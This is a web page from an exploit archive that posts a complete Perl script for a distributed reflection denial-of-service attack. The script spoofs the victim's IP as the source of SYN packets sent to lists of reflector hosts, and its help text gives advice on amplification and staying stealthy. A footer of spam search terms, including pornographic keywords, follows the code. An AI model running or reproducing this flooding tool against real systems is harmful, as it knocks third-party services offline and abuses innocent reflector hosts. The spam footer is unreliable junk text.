about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , DRDoS - Distributed Reflection Denial of Service




2007-06-07 DRDoS - Distributed Reflection Denial of Service
Rated as : High Risk

#!/usr/bin/perl

#
# ~written by whoppix (c) 2007~
# This Piece of software may be freely (re-)distributed under the Terms of
the LGPL.
# for a short usage type ./script --help
# this program requires: perl, Net::RawIP (depends on libpcap),
Getopt::Long
# (which should be shipped along with your perl core distribution)
# if you want to gain a deeper understanding about how DRDoS works, have a
look at:
# http://www.grc.com/dos/drdos.htm
# This program is written for testing and researching purposes only.
#

use warnings;
use strict;
use Net::RawIP;
use Getopt::Long;

my $verbose   = '0';
my $syn_count = '1';
my $victim    = '127.0.0.1';
my @lists     = ();
my $net       = new Net::RawIP;

GetOptions(
	'verbose+'    => $verbose,
	'syn_count=s' => $syn_count,
	'list=s'      => @lists,
	'help'        => &usage,       
);
$victim = shift @ARGV;
if ( !$victim ) {
	die "Error: No target specified, use --helpn";
}
if ( !@lists ) {
	die "Error: You have to specify at least one reflector list, use
--helpn";
}
foreach my $file (@lists) {
	if ( !-e $file ) {
		die "File does not seem to exist: $filen";
	}
}
print "Starting attack on target $victim.n";
print "press Ctrl-C to interrupt at any time.n" if $verbose
>= 1;
while (1) {
	foreach my $listfile (@lists) {
		print "Loading reflector file: $listfilen" if $verbose >=
1;
		open( my $list, "<", $listfile )
			or die "Error opening file for reading: $listfilen";
		while (<$list>) {
			chomp;
			if ( check_format($_) ) {
				my $counter   = $syn_count;
				my $reflector = $_;
				my ( $ip, $port ) = split( ':', $reflector );
				print "reflector ip: $ip, reflector port: $portn"
					if $verbose > 1;
				for ( my $counter = $syn_count; $counter > 0; $counter-- ) {
					print "attacking using reflector: $reflectorn"
						if $verbose > 1;
					my $rand = int( rand(65535) );
					while ( $rand == 0 ) {
						print
							"random number calculated for SRCPORT was zero,
retrying...n"
							if $verbose > 1;
						$rand = int( rand(65535) );
					}
					print "random port used for SRCPORT: $randn"
						if $verbose > 1;
					$net->set(
						{   ip => {
								saddr => $victim,
								daddr => $ip,
							},
							tcp => {
								source => $rand,
								dest   => $port,
								syn    => 1,
							},
						}
					);
					$net->send();
				}
			}
			else {
				print
					"mirror "$_" not in correct format (ip:port)
omitting...n"
					if $verbose >= 1;
			}
		}
	}
}

sub usage {
	print "nusage:nn";
	print "--helptt: youre reading itn";
	print
		"--verboset: makes the script more verbose. can be used several
times to increase verbosity.n";
	print "--listtt: used to specify a reflectorlist.n";
	print
		"ttexample: ./script --list list1.txt --list list2.txt --list
list3.txt 127.0.0.1n";
	print
		"ttthe more (and longer) lists you have, the better will the result
be, and the more stealth you will gain.n";
	print
		"--syn_countt: used to set the syn_count to a special value.
default is 1.n";
	print "ttdon't use too much - that would decrease your stealth.
Default (and that should be fine) is 1.n";
	print "nGeneral information:n";
	print "The usage of multiple lists can increase your
stealth.n";
	print "The more Mirrors or "reflectors" you use, the
better will the result be.n";
	print "The better the bandwidth of your mirrors is, the better will
the result be.n";
	print "Generally spoken is the bandwidth you use to flood your
victim amplified by the factor 3-4.nn";
	die "n";
}

sub check_format {    # a function to check the ip:port format.
	no warnings;
	my $address = shift;
	my ( $ip, $port ) = split( ':', $address );
	my @octets = split( '.', $ip );

	if ( $port < 1 or $port > 65535 ) {
		print "port $port too high or lown" if $verbose >= 1;
		return;
	}
	if ( @octets != 4 ) {
		print "ip has invalid number of octetts: $ipn" if $verbose
>= 1;
		return;
	}
	foreach my $octet (@octets) {
		if ( $octet < 0 or $octet > 255 ) {
			print "octet is invalid: $octetn" if $verbose >= 1;
			return;
		}
	}
	print "VALID!n" if $verbose > 1;
	return 1;
}


securitydot.net - 2007-06-07

Advertising

Copyright 2007, SecurityDot
Sat, 04 Jul 2009 14:38:14 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
Video porn Soper videosexig Gayvidio 200 /mambo SPARTACUS port 1434 www.buy-hk Video porn Gayvidio www.sexwom Simransex. www.sexwom nws sav remote Powered by tanger mar Free porn Video 18 imap vulnerabil sexvideogi fist.com www.pinkwo www.pinkwo www.pinkwo www.pinkwo www.pinkwo www.pinkwo Searching Form canl Horse porn defloratio phphtml.ph mambo Remo www.qjgww. Pinkword.c jokestan 2.4.27-3-3 Redhat 7 www sexy w phphtml.ph kmitam.htm Photokorn Video sex www.sexyg www.sh.com Sexi clip lo215l